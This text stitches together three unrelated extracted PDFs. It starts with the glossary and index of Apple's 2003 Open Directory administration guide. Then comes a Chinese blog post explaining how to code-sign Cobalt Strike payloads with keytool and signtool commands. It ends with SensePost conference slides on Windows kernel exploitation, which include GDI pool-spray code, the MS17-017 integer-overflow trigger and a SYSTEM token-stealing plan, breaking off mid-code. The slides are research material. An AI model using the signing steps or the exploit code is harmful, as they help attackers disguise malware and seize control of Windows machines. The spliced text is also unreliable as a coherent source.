authenticate access to an iDisk. You should keep WebDAV-Digest enabled so that users can mount iDisks and other WebDAV servers in the Finder. WebDAV-Digest encodes passwords when they are sent over the network, and stores them in a scrambled form on the server. It offers good security during network transmission. A malicious user might be able to obtain passwords by gaining access to the server and decoding the password file, although doing this would be very difficult. LL2352.Book Page 176 Friday, August 22, 2003 3:12 PM 177 Appendix C C Authentication Manager Mac OS X Server supports users that were configured to use the legacy Authentication Manager technology in Mac OS X Server version 10.0–10.2. Authentication Manager is a legacy technology for securely validating passwords of the following users: • Users of Windows services (including support for SMB-NT, SMB-LM, and CRAM-MD5) • Users of Apple file service whose Mac OS 8 computers have not been upgraded with AFP client software version 3.8.3 or later • Users who need to authenticate for mail service by using APOP or CRAM-MD5 Authentication Manager only works with user accounts that were created in a NetInfo domain of Mac OS X Server version 10.0–10.2. Authentication Manager must have been enabled for the NetInfo domain. When you upgrade a server to Mac OS X Server version 10.3 from an earlier version that has Authentication Manager enabled, it remains enabled. Existing users can continue to use their same passwords. An existing user account uses Authentication Manager if the account is in a NetInfo domain for which Authentication Manager has been enabled and the account is set to use a crypt password. After upgrading a server to Mac OS X Server version 10.3, you can change existing user accounts to authenticate using Open Directory. Open Directory authentication is the preferred authentication option for users of Windows services and is required for domain login from a Windows workstation to a Mac OS X Server primary domain controller. New user accounts created in Mac OS X Server version 10.3 are set to use Open Directory authentication. LL2352.Book Page 177 Friday, August 22, 2003 3:12 PM LL2352.Book Page 178 Friday, August 22, 2003 3:12 PM 179 Glossary Glossary Active Directory The directory service of Microsoft Windows 2000 and 2003 servers. administrator A user with server or directory domain administration privileges. Administrators are always members of the predefined “admin” group. administrator computer A Mac OS X computer onto which you have installed the server administration applications from the Mac OS X Server Admin CD. AFP (Apple Filing Protocol) A client/server protocol used by Apple file service on Macintosh-compatible computers to share files and network services. AFP uses TCP/IP and other protocols to communicate between computers on a network. authentication The process of proving a user’s identity, typically by validating a user name and password. Usually authentication occurs before an authorization process determines the user’s level of access to a resource. For example, file service authorizes full access to folders and files that an authenticated user owns. authentication authority attribute A value that identifies the password validation scheme specified for a user and provides additional information as required. authorization The process by which a service determines whether it should grant a user access to a resource and how much access the service should allow the user to have. Usually authorization occurs after an authentication process proves the user’s identity. For example, file service authorizes full access to folders and files that an authenticated user owns. BSD (Berkeley System Distribution) A version of UNIX on which Mac OS X software is based. child A computer that gets configuration information from the shared directory domain of a parent. class See object class. computer account A list of computers that have the same preference settings and are available to the same users and groups. LL2352.Book Page 179 Friday, August 22, 2003 3:12 PM 180 Glossary DHCP (Dynamic Host Configuration Protocol) A protocol used to distribute IP addresses to client computers. Each time a client computer starts up, the protocol looks for a DHCP server and then requests an IP address from the DHCP server it finds. The DHCP server checks for an available IP address and sends it to the client computer along with a lease period—the length of time the client computer may use the address. directory domain A specialized database that stores authoritative information about users and network resources; the information is needed by system software and applications. The database is optimized to handle many requests for information and to find and retrieve information quickly. Also called a directory node or simply a directory. directory domain hierarchy A way of organizing local and shared directory domains. A hierarchy has an inverted tree structure, with a root domain at the top and local domains at the bottom. directory node See directory domain. directory services Services that provide system software and applications with uniform access to directory domains and other sources of information about users and resources. FTP (File Transfer Protocol) A protocol that allows computers to transfer files over a network. FTP clients using any operating system that supports FTP can connect to a file server and download files, depending on their access privileges. Most Internet browsers and a number of freeware applications can be used to access an FTP server. group A collection of users who have similar needs. Groups simplify the administration of shared resources. group directory A directory that organizes documents and applications of special interest to group members and allows group members to pass information back and forth among them. guest user A user who can log in to your server without a user name or password. hash An encrypted form of a password or other text. home directory A folder for a user’s personal use. Mac OS X also uses the home directory, for example, to store system preferences and managed user settings for Mac OS X users. IP (Internet Protocol) Also known as IPv4. A method used with Transmission Control Protocol (TCP) to send data between computers over a local network or the Internet. IP delivers packets of data, while TCP keeps track of data packets. IP address A unique numeric address that identifies a computer on the Internet. LL2352.Book Page 180 Friday, August 22, 2003 3:12 PM Glossary 181 Kerberos A secure network authentication system. Kerberos uses tickets, which are issued for a specific user, service, and period of time. Once a user is authenticated, it is possible to access additional services without retyping a password (this is called single- signon) for services that have been configured to take Kerberos tickets. Mac OS X Server uses Kerberos v5. LDAP (Lightweight Directory Access Protocol) A standard client-server protocol for accessing a directory domain. local domain A directory domain that can be accessed only by the computer on which it resides. long name See user name. Mac OS X The latest version of the Apple operating system. Mac OS X combines the reliability of UNIX with the ease of use of Macintosh. Mac OS X Server An industrial-strength server platform that supports Mac, Windows, UNIX, and Linux clients out of the box and provides a suite of scalable workgroup and network services plus advanced remote management tools. managed client A user, group, or computer whose access privileges and/or preferences are under administrative control. managed preferences System or application preferences that are under administrative control. Workgroup Manager allows administrators to control settings for certain system preferences for Mac OS X managed clients. Macintosh Manager allows administrators to control both system preferences and application preferences for Mac OS 9 and Mac OS 8 managed clients. NetInfo One of the Apple protocols for accessing a directory domain. object class A set of rules that define similar objects in a directory domain by specifying attributes that each object must have and other attributes that each object may have. Open Directory The Apple directory services architecture, which can access authoritative information about users and network resources from directory domains that use LDAP, NetInfo, or Active Directory protocols; BSD configuration files; and network services. open source A term for the cooperative development of software by the Internet community. The basic principle is to involve as many people as possible in writing and debugging code by publishing the source code and encouraging the formation of a large community of developers who will submit modifications and enhancements. LL2352.Book Page 181 Friday, August 22, 2003 3:12 PM 182 Glossary owner The person who created a file or folder and who therefore has the ability to assign access privileges for other users. The owner of an item automatically has read/ write privileges for that item. An owner can also transfer ownership of an item to another user. parent A computer whose shared directory domain provides configuration information to another computer. primary group A user’s default group. The file system uses the ID of the primary group when a user accesses a file he or she doesn’t own. primary group ID A unique number that identifies a primary group. protocol A set of rules that determines how data is sent back and forth between two applications. Rendezvous A protocol developed by Apple for automatic discovery of computers, devices, and services on IP networks. This proposed Internet standard protocol is sometimes referred to as “ZeroConf” or “multicast DNS.” For more information, visit www.apple.com or www.zeroconf.org. schema The collection of attributes and record types or classes that provide a blueprint for the information in a directory domain. search path See search policy. search policy A list of directory domains searched by a Mac OS X computer when it needs configuration information; also the order in which domains are searched. Sometimes called a search path. share point A folder, hard disk (or hard disk partition), or CD that is accessible over the network. A share point is the point of access at the top level of a group of shared items. Share points can be shared using AFP, Windows SMB, NFS (an “export”), or FTP protocols. short name An abbreviated name for a user. The short name is used by Mac OS X for home directories, authentication, and email addresses. single signon An authentication strategy that relieves users from entering a name and password separately for every network service. Mac OS X Server uses Kerberos to enable single signon. SLP (Service Location Protocol) DA (Directory Agent) A protocol that registers services available on a network and gives users easy access to them. When a service is added to the network, the service uses SLP to register itself on the network. SLP/DA uses a centralized repository for registered network services. LL2352.Book Page 182 Friday, August 22, 2003 3:12 PM Glossary 183 SMB (Server Message Block) A protocol that allows client computers to access files and network services. It can be used over TCP/IP, the Internet, and other network protocols. Windows services use SMB to provide access to servers, printers, and other network resources. SSL (Secure Sockets Layer) An Internet protocol that allows you to send encrypted, authenticated information across the Internet. user name The long name for a user, sometimes referred to as the user’s “real” name. See also short name. WebDAV (Web-based Distributed Authoring and Versioning) A live authoring environment that allows client users to check out webpages, make changes, and then check the pages back in while a site is running. WebDAV realm A region of a website, usually a folder or directory, that is defined to provide access for WebDAV users and groups. LL2352.Book Page 183 Friday, August 22, 2003 3:12 PM LL2352.Book Page 184 Friday, August 22, 2003 3:12 PM 185 Index Index A access privileges, directory services and 20 Active Directory administrator groups 105 configuring access to 102 credential caching 104 editing user accounts 106 LDAPv3 access to 106 preferred server 104 search policies and 103, 104, 107 UID mapping 105 administrative data See directory domains administrator Active Directory 102, 103, 105 choosing for directory services 54 delegated 61, 62, 63 distinguished name 98 Kerberos 61, 62 NetInfo 109 Open Directory 80 Open Directory Password Server 80, 122 password, resetting 123 password policies 35, 74, 75 requirements 76 administrator computer 50 APOP authentication 36, 174 AppleTalk enabling and disabling for Open Directory 84 service discovery protocol 25 attributes about 21 adding 97 autoserver setup records 160 computer list records 153, 169 computer records 151, 168 config records 154, 171 group records 150, 166–167 LDAP 132 location records 161 mapping LDAP 96 mount records 151, 170 people records 155 preset computer list records 156 preset group records 157 preset user records 157 printer records 159 user records 146, 161–165 authentication Kerberos 35, 37, 61, 62, 63, 79 Open Directory Password Server 35 protocols supported 35 security 49 single signon 39 authentication authority attribute 34, 82, 144 authentication authority object class 131 Authentication Manager 67, 81, 177 authentication methods, enabling and disabling 173 authentication search policy 32, 87, 89 automatic search policy See also search policies about 30 defining 88 LDAP mappings supplied by 98 using 88 automounting, directory services and 20 auto-switch, NetInfo clients to LDAP 66 B backup, Open Directory master 118 basic authentication 39 binding LDAP 31, 88 NetInfo 110 broadcast binding, Netinfo 111 BSD configuration files enabling and disabling 84 history of 16 populating with data 109 using 108 C child NetInfo domain 109 clear text password 36 command-line tools 51 LL2352.Book Page 185 Friday, August 22, 2003 3:12 PM 186 Index computer attributes 141 computer list attributes 169 computer list object class 129 computer list records, attributes of 141 computer object class 128 computer records, attributes of 168 config records, attributes 171 configuration attributes 142 configuration files See BSD configuration files configuration object class 129 connected to a directory system 60 container object class 126 CRAM-MD5 authentication 36, 174 credential caching, Active Directory 104 crypt passwords 39, 78 custom search policy, defining 89 D database backing up 118 Berkeley DB 45 directory domain 15, 45 Kerberos 37 LDAP 48, 64 migrating 66 Open Directory Password Server 36, 49 restoring 120 delegated administrator 61 denial-of-service attack 65 DHCP automatic search policy and 31, 88 LDAP server for DHCP clients 31, 68, 88, 91 migrated LDAP directory and 66, 68 NetInfo binding 88, 110, 111 Open Directory master and 57 Open Directory replica and 59 option 95 31 DHX authentication 36, 40, 174 Digest-MD5 authentication 36, 175 Directory Access application Active Directory, accessing 102, 107 automatic search policy, using 88 custom search policies, defining 89 enabling and disabling protocols 84, 85, 86 LDAP access via DHCP 91 LDAP configuration, adding 92, 104, 105, 106 LDAP configuration, changing 93 LDAP configuration, deleting 94 LDAP configuration, duplicating 93 LDAP configurations, showing and hiding 91 LDAP connections, changing 95 LDAP search bases and mappings, editing 96, 98 local domain search policy 90 NetInfo binding, configuring 111 NIS access 107 remote administration 113 search policies 87–90 SMB, configuring 87 uses 51 directory domains information storage in 15, 21, 45 planning 43 requirements 45 security 46 simplifying changes to 45 user accounts in 15–16 directory services See also Open Directory administrators for 54 authentication 16 benefits of 13 information storage in 14 logs 115 network role of 15 planning 54 status 115 tools summary 50 distinguished name 98 DNS (Domain Name System), Rendezvous 25 E encryption LDAP 65 password 36, 40 F failover, Open Directory 59 G global password policy 74 group attributes 136, 150, 166–167 group object class 127 group records 20, 149 groups, Active Directory administration 103, 105 H hash, password 36, 39 home directories 20 I importing and exporting Authentication Manager users 81 Open Directory Password Server users 81 Inspector hiding 117 short name, changing with 117 showing 116 LL2352.Book Page 186 Friday, August 22, 2003 3:12 PM Index 187 J joining a Kerberos domain 63 K KDC See Kerberos Kerberized services 37 Kerberos authentication process 38 enabling 79 KDC built in 37 Open Directory master 61 password policies 35, 39, 74, 75 principals 37 realm 37, 56, 67 replication 47 services supporting 37, 61 setting up 61 solving problems 122 ticket 38 ticket-granting ticket 38 using 37 L LAN Manager authentication 36, 40, 175 LDAP See also directory domains adding server configurations 92 attributes 132 automatic search policy and 31 backup 118 binding to 31, 42 changing server configurations 93 configuring 90–100 connection settings 95 database location 64 deleting server configurations 94 directory service protocol 25 duplicating server configurations 93 enabling and disabling 85 migrating directory from NetInfo 66 object classes 126 options, setting for server 63 populating with data 100 port configuration 49, 95 read-only 99 replication 47 restoring from backup 120 schema extensions 126 search results, limiting 65 search timeout 65 shared domains 30 showing and hiding configurations 91 SSL 65, 95 switching clients from NetInfo 68 LDAP bind authentication 42, 80 Lightweight Directory Access Protocol (LDAP) See LDAP local directory domain in automatic search policy 30 information storage 21 NetInfo 110 search policy 28, 89 standalone server 55 location object class 131 login, authenticating 16, 19 login attributes 145 logs directory services 115 Open Directory Password Server 115 M machine attributes 138 machine object class 128 Mac OS X Server administration applications 50 data items used by 165–166 documentation 11 shared directory domains 22–25 mapping Active Directory 145 autoserver setup records 160 computer list records 153, 169 computer records 151, 168 config records 153, 171 group records 149, 166–167 LDAP 96, 145 location records 160 mount records 150, 170 people records 154 preset computer list records 156 preset group records 156 preset user records 157 printer records 159 user records 145, 161–165 migration, NetInfo directory domain to LDAP 66 mount attributes 139 mount object class 128 mount records 150, 170 MS-CHAPv2 authentication 36, 60, 122, 175 multicast DNS 25 N NetInfo See also directory domains automatic search policy and 31 binding 110 child 109 configuring 109–112 directory service protocol 25 LL2352.Book Page 187 Friday, August 22, 2003 3:12 PM 188 Index disabling domain 66, 68, 69 enabling and disabling access 85 migrating domain to LDAP 66 parent 109 port configuration 112 shared domain 30 switching clients to LDAP 68 NetInfo Manager 52, 111, 112 network authentication methods 173 network services data items used by 165–166 discovery protocols 25 NIS, accessing 107 NT authentication 36, 175 NT hash 40 O object classes 126 offline attack 41 Open Directory See also directory services access privileges and 20 administrator rights 80 authentication 16 automount share points and 20 compared to UNIX systems 18 configuring protocols 83 group records and 20 home directories and 20 information management 19, 26 information storage in 14, 25 mail settings and 20 performance 48 planning 43 quotas and 20 schema 126 searching non-Apple domains 24 search policies 27–32 service discovery and 25 UNIX heritage 16 uses of 19–20 Open Directory master about 47 backing up 118 failover to replica 59 Kerberos 61 restoring from backup 120 setting up 56 single signon 61 Open Directory password 35, 76, 81 Open Directory Password Server authentication methods 173 backup 118 enabling for a user 76 hosting 56, 57 logs 115 monitoring 116 password policies 74, 75 recommended for Windows 14 replication 47 restoring from backup 120 security features 14 setting up 56, 57 solving problems 122 Windows authentication 14 Open Directory replica about 47 failover from master 59 password policies 47 setting up 57 Option 95, DHCP 31 P parent NetInfo domain 109 password policies administrator 35, 80 global 74 individual user 75 Kerberos 35, 39 replicas 47 passwords authentication methods 35 changing 72 clear text 36 composing 72 cracking 41 crypt password type 39, 78 migrating to Open Directory 82 Open Directory password type 35, 76, 81 problems with readable 41 resetting multiple 73 shadow password type 39, 79 synchronizing changes in replicas 59 unable to modify 122 Password Server See Open Directory Password Server password type crypt password 39, 78 Open Directory password 35, 76, 81 shadow password 39, 79 password validation authentication authority attribute 34 Kerberos 37 Open Directory 35 shadow password 39 performance, Open Directory 48 planning 43 preset computer list object class 130 preset group object class 130 preset user attributes 144 LL2352.Book Page 188 Friday, August 22, 2003 3:12 PM Index 189 preset user object class 130 principals, Kerberos 37 printer attributes 140 printer object class 128 protocols See also specific protocols directory services 83 LDAP server options 63 Open Directory 83 service discovery 25 Q quotas, user settings 20 R raw directory data, editing 116 realm, Kerberos 37, 56, 67 record types See also specific record types about 21 adding 97 mapping 96 redundancy, Open Directory 48 remote administration 50, 113 Rendezvous 25, 86 replication failover 59 frequency 64 multi-building 47 planning 47 security 50 requirements administrator 76 directory and authentication 45 root domain 110 S SASL (Simple Authentication and Security Layer) 173 schema See also mapping schema, Open Directory extensions 126 search base Active Directory 107 LDAP directory 56, 67, 92 LDAP record types 97 mappings stored on server 98 search policies adding Active Directory server to 103, 104, 107 adding BSD files to 108 adding NIS to 108 authentication 87 automatic 30, 88 custom 32, 89 local directory 28, 89 setting up 87–90 search results, limiting LDAP 65 search timeout, LDAP 65 security Open Directory 49 passwords 41 of server hardware 46 Server Admin 50 connecting to existing directory domain 60 directory services information 115 Open Directory master 56 Open Directory Password Server 115 Open Directory replica 57 uses 50 server administration guides 11 Server Assistant 54 server assistant configuration object class 131 Server Message Block (SMB) See SMB servers, security of 46 service discovery 25, 83 Service Location Protocol (SLP) See SLP SHA-1 password hash 40 shadow password 39, 40, 79 shared directory domain See also LDAP, NetInfo connecting to existing 60 hosting 56, 57 information storage 22 network printing and 23 resources in 24 short name, changing 117 single signon See also Kerberos about 39 enabling 79 Open Directory master 61 setting up 61 SLP (Service Location Protocol) 26, 86 SMB (Server Message Block) authentication methods 175 configuring 87 enabling and disabling 86 Windows protocol 26 SMB-LAN Manager authentication 36, 175 SMB-NT authentication 36, 175 SSL 65, 95 standalone server 55 startup delay, causes of 121 static binding, NetInfo 111 suffix, search base 56, 67, 92 T templates, directory domain LL2352.Book Page 189 Friday, August 22, 2003 3:12 PM 190 Index See mapping ticket, Kerberos 38 ticket-granting ticket, Kerberos 38 U UNIX BSD configuration files 108 compared to Open Directory 16–18 information storage 17–18 user accounts in directory domains 15–16 user object class 127 user records attributes 132, 146, 161–165 how used by server 165 mapping 145, 165–166 V VPN authentication 36, 60, 122 W WebDAV-Digest authentication 36, 176 Windows services authentication 14 discovering with SMB protocol 87 Workgroup Manager populating LDAP domains with 100 uses 51 LL2352.Book Page 190 Friday, August 22, 2003 3:12 PM
pdf
怎样用 Cobalt Strike 生成具有代码签名的 payload ——— By Digg3r 转换证书格式和转换过程中遇到的坑 可以看 CS 官方文档或者作者的 youtube 视频,profile 中配置签名是 jks 格式,而 windows 是 pfx 结尾的默认是 pkcs12 格式,所以需要转换成 JAVA 的 jks 格式, 一个 profile 代码签名的配置示例如下: code-signer { set keystore "codesign.jks"; set password "123456"; set alias "server"; } 不想配置 porfile 也可以不转换,因为有点小麻烦,完全可以在生成 payload 后直接用 微软的 signtool 签名,命令如下: signtool.exe sign /f C:\codesign.pfx /p password C:\Payload.exe #其中:/f 指定 pfx 签名证书 /p 证书密码 /t 签名用的时间戳服务器 最后是要签名的 paylaod.exe 好吧,开始搞起,pfx 转 jks 转换命令如下,具体看图片中的注释吧 命令如下: keytool -importkeystore -srckeystore codesign.pfx -destkeystore codesign.jks -srcstoretype PKCS12 -deststoretype JKS 图 2 上面配置示例可以看出有三个配置项一个是 keystore 设置证书文件位置,一个证书 passowrd 密钥,一个别名 alias,转换的时候好想无法直接指定 alias 证书别名,所以用如 下命令查看 alias,可以看出是随机生成的一个字符串: 图表 3 复制字符串到配置稳重,那么代码签名相关配置如下: 图表 4 完成后用 c2lint 测试下 profile,会提示找到代码签名配置,如下图: ./c2lint mycs.profile #c2lint 在 cboaltstrike.jar 同一目录, 图表 5 Ok,接下来运行 CS 连接 teamserver,生成 pyaload,如下图,sign 就可以打勾了: 图表 6 结果发现生成的 exe 或 dll 并没有被签名,而且本地 CS 在终端中报错了如下图: 尼玛~又看遍作者的视频发现没有错误啊 (注意:作者演示的是自签名证书) 图表 7 百度下 keytool 发现是 alias 也有个密码,怀疑 profile 配置文件那个 password 指的是 证书 alias 密码。具体 jks 证书的证书密码和 alias 密码有啥区别我也不知道,然后修改 alias 密码,修改 alias 密码需要原 alias 密码,其实和原证书 pfx 格式的证书密码一样,如下命令 修改,修改为 123456 图表 8 这样再重新加载 profile 生成 exe 或 dll,右键属性发现就会是签名的了,就不截图了 最后补充: 查看官方文档中说是 password 位置说的是 keystore,What the fuck ? 不懂~ 一、 文章中涉及的命令总结 Signtool 签名 exe、dll、msi: signtool.exe sign /f C:\codesign.pfx /p password /t http://timestamp.globalsign.com/scripts/timestamp.dll C:\Payload.exe PFX 转换 JKS: keytool -importkeystore \ -srckeystore codesign.pfx \ -destkeystore codesign.jks \ -srcstoretype PKCS12 \ -deststoretype JKS 查看别名:需要证书密码 keytool -list -keystore codesign.jks 修改别名密码:需要原别名密码 keytool -keypasswd -keystore codesign.jks -alias thealiasname
pdf
SENSEPOST Demystifying+Windows+Kernel+Exploitation+by+Abusing+GDI+ Objects. Saif El-Sherei SENSEPOST #Whoami SENSEPOST Why? SENSEPOST What? SENSEPOST • Abusing two types of GDI Objects, to gain ring0 exploit primitives. • Analysing two+N-Days+(MS16-098,+MS17- 017??),+by+using+these+techniques. SENSEPOST Introduction https://github.com/sensepost/gdi- palettes-exp SENSEPOST Kernel Pool SENSEPOST Kernel Pool: Allocation Dynamics. SENSEPOST Kernel Pool: Allocation Dynamics. Pool+Page Size+0x100 First+Chunk Third Chunk Second Chunk SENSEPOST Kernel Pool Spraying / Feng-Shui SENSEPOST Kernel Pool: Kernel Pool Spraying / Feng-Shui • Get+Pool+memory+in+deterministic+state. • Done+using+series+of+allocations+/+de-allocations. • Create+memory+holes+between+user+controlled+ object. • Hopefully+vulnerable+object+will+be+allocated+to+ one+of+these+memory+holes. SENSEPOST Kernel Pool Corruption SENSEPOST Kernel Pool Corruption Integer Overflows 0"######80 + 0"81 = 0"00000001(? ? ? ? ? Actually 0"0100000001 = >+32-bit+wide+register(4+Bytes) Integer+ truncated Most+Significant Byte+Ignored(0x01) 0"1 = X86+Integer+Overflow SENSEPOST Kernel Pool Corruption Integer Overflows Linear Overflows SENSEPOST Kernel Pool Corruption Integer Overflows Out-of-Bounds Write SENSEPOST How? SENSEPOST Abusing GDI Objects For ring0 Exploit Primitives SENSEPOST Abusing GDI Objects for ring0 Exploit Primitives: Memory Layout SENSEPOST Abusing GDI Objects for ring0 Exploit Primitives: Relative Memory read/write SENSEPOST Abusing GDI Objects for ring0 Exploit Primitives: Relative Memory read/write SENSEPOST Abusing GDI Objects Bitmaps Shamelessly+ ripped+from+b33f+ @FuzzySec :D SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Structure Object+type+_SURFOBJ+ PoolTag Gh?5,+Gla5 SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) KAlloc Allocate+2000+Bitmaps for+(int y+=+0;+y+<+2000;+y++)+{ HBITMAP+bmp+=+ CreateBitmap( 0x3A3,+ //nWidth 1,+ //nHeight 1,+ //cPlanes 32,+ //cBitsPerPel NULL);+ //+lpvBits }+ SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) KFree DeleteObject(HBITMAP+ hBmp);+ SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Read Memory SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Write Memory SENSEPOST How do I Exploit? SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Manager Bitmap Extension relative r/w SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Manager Bitmap Extension relative r/w SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Manager Bitmap Extension Arbitrary r/w SENSEPOST Ohdays!! SENSEPOST Abusing GDI Objects Palettes (New Technique) SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Structures Object+type+_PALETTE ||+_XEPALOBJ PoolTag Gh?8,+Gla8 SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) KAlloc Allocate+2000+Palettes HPALETTE+hps; LOGPALETTE+*lPalette; lPalette =+ (LOGPALETTE*)malloc(sizeof(LOGPALETTE)+ ++(0x1E3+- 1)+*+sizeof(PALETTEENTRY)); lPalette->palNumEntries =+0x1E3; lPalette->palVersion =+0x0300; for+(int k+=+0;+k+<+2000;+k++)+{ hps =+CreatePalette(lPalette); }+ SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) KFree DeleteObject(HPALETTE+hPal);+ SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Read Memory Read+Palette+Entries HRESULT+res+=+GetPaletteEntries( hpal,+ //Palette+Handle index,+ //+index+to+read+from sizeof(read_data)/sizeof(PALETTEENTRY),+ //nEntries &data); //data+buffer+to+read+to SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Write Memory Write+Palette+Entries HRESULT+res+=+SetPaletteEntries(+ //+||+AnimatePalette( hpal, //Palette+Handle index,+ //+index+to+write+to sizeof(write_data)/sizeof(PALETTEENTRY),++//nEntries to+Write &data); //+pointer+to+data+to+write SENSEPOST How do I Exploit? SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Manager Palette Extension relative r/w SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Manager Palette Extension relative r/w SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Manager Palette Extension relative r/w SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Technique Restrictions • Minimum+Palette+allocation+size:+0x98+for+x86+systems,+and+0xD8+ for+x64+ones. • There+are+some+Palette+object+members+that+should+not+be+ clobbered+when+using+the+memory+write+function+ SetPaletteEntries,+specifically: X86 X64 typedef struct _PALETTE64 { ..7 HDC7777777777777hdcHead;7777777//70x1c7 …7 PTRANSLATE777777ptransCurrent;7//70x307 PTRANSLATE777777ptransOld;7777//70x347 … }7PALETTE,7*PPALETTE; typedef struct _PALETTE64 { ..7 HDC7777777777777hdcHead;7777777//70x287 …7 PTRANSLATE777777ptransCurrent;7//70x487 PTRANSLATE777777ptransOld;7777//70x507 … }7PALETTE64,7*PPALETTE64; SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Technique Restrictions (SetPaletteEntries) GreSetPaletteEntries >+XEPALOBJ::ulSetEntries (checks+the+pTransCurrent,+and+pTransOld) SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Technique Restrictions (SetPaletteEntries) SetPaletteEntries >+NTSetPaletteEntries >+GreSetPaletteEntries SENSEPOST Abusing GDI Objects: Palettes (_XEPALOBJ) Technique Restrictions (AnimatePalette) *pFirstColor most+significant+byte+must+be+ODD+changes. MSDN:+“The AnimatePalette function+only+entries+with+the+ PC_RESERVED+flag+set+in+the+corresponding palPalEntry member+of+ the LOGPALETTE structure.” SENSEPOST EPROCESS SYSTEM Token Stealing SENSEPOST EPROCESS SYSTEM Token Stealing • Each+running+process+on+a+system,+is+represented+by+an+_EPROCESS+ structure+in+the+kernel. • This+structure+contains+several+interesting+members,+such+as:+ ImageName,+Token,+ActiveProcessLinks,+and+UniqueProcessId. • The+offsets+to+these+members+differs+from+one+OS+version+to+ another. SENSEPOST EPROCESS SYSTEM Token Stealing Game Plan Intial SYSTEM+process+EPROCESS+ kernel+address. Arbitrary+read+primitive+to+get+Token+and+ActivePorcessLinks offsets ActiveProcessLinks.Flink.UniqueProcessId =+CurrentProcess PID User:+ ntoskrn!PsInitialSystemProcess – ntoskrn base System:+ Loaded+ntoskrn base++ PsInitialSystemProcess offset Arbitrary+write+primitive+to+replace+Current+Process+Token+with+SYSTEM+one. SENSEPOST MS17-017 ENGBRUSHOBJ Win32k!EngRealizeBrush Integer Overflow Leading To OOB Write SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow - Diffing the Patch • MS17-017:+March+2017 • Win32k!EngRealizeBrush SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Triggering the Overflow CreatePatternBrush >+PatBlt <+Win32k!EngRealizeBrush. HBITMAP+bitmap+=+CreateBitmap(0x5A1F,+0x5A1F,+1,+1,+NULL); HBRUSH+hbrBkgnd =+CreatePatternBrush(bitmap); PatBlt(hdc,+0x100,+0x10,+0x100,+0x100,+PATCOPY); • The+above+code+will+reach+the+following+calculations+in+ the+vulnerable+function,+with+several+controlled+values. x+=+Bitmap.width *+20+(ecx =+20+and+its+based+of+the+HDC->bitmap.bitsperpixel) x+=+x+/+2^3 y+=+x+*+bitmap.height result+=+y+++0x44 SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Triggering the Overflow PALLOCMEM(Result+0x40) 0"100000010( − 0"40( − 0"44 = 0"######8, 0"######8, = 0"8,( ∗ 0"1.41.41 /012(∗/01 /03/ ( =+0"23 HBITMAP+bitmap+=+CreateBitmap(0x23,+0x1d41d41,+1,+1,+NULL); SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Triggering the Overflow OOB+write+0x00000006+to+[esi+0x3C] SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Stars Alignment • Why+ 0x10+size+allocation??+Write+to+[esi+3c]+ Allocated+object+size+(0x10)+++Bitmap+_POOL_HEADER+size(0x8)+++_BASE_OBJECT+ size+(0x10)++++_SURFOBJ->height+(0x14)+=+OOB+write+offset+(0x3C) OPTIONS+ Use+Extended+Bitmap+as+ Manager+and+use+a+second+ Bitmap+as+Worker Use+Extended+Bitmap+as+ Manager+and+Palette+ Object+as+Worker Use+Extended+Bitmap+to+ increase+size+of+ Manager+Palette+and+ use+the+Manager+ Palette+to+control+a+ Worker+one. SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray for+(int y+=+0;+y+<+2000;+y++)+{ //0x3A3+=+0xFe8 bmp+=+CreateBitmap(0x3A3,+1,+1,+32,+NULL); bitmaps[y]+=+bmp; } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray //Spray+LpszMenuName User+object+in+GDI+pool.+Ustx //+size+0x10+8 TCHAR+st[0x32]; for+(int s+=+0;+s+<+2000;+s++)+{ WNDCLASSEX+Class2+=+{+0+}; wsprintf(st,+"Class%d",+s); Class2.lpfnWndProc+=+DefWindowProc; Class2.lpszClassName+=+st; Class2.lpszMenuName+=+"Saif"; Class2.cbSize+=+sizeof(WNDCLASSEX); RegisterClassEx(&Class2); } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray for+(int s+=+0;+s+<+2000;+s++)+{ DeleteObject(bitmaps[s]); } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray for+(int k+=+0;+k+<+2000;+k++)+{ //0x1A6+=+0x7f0+8 bmp+=+CreateBitmap(0x1A6,+1,+1,+32,+NULL); bitmaps[k]+=+bmp; } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray HPALETTE+hps; LOGPALETTE+*lPalette; //0x1E3++=+0x7e8+8 lPalette =+(LOGPALETTE*)malloc(sizeof(LOGPALETTE)+++(0x1E3+- 1)+*+ sizeof(PALETTEENTRY)); lPalette->palNumEntries =+0x1E3; lPalette->palVersion =+0x0300; //+for+allocations+bigger+than+0x98+its+Gh08+for+less+its+always+0x98+and+the+tag+is+Gla18 for+(int k+=+0;+k+<+2000;+k++)+{ hps =+CreatePalette(lPalette); hp[k]+=+hps; } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray TCHAR+fst[0x32]; for+(int f+=+500;+f+<+750;+f++)+{ wsprintf(fst,+"Class%d",+f); 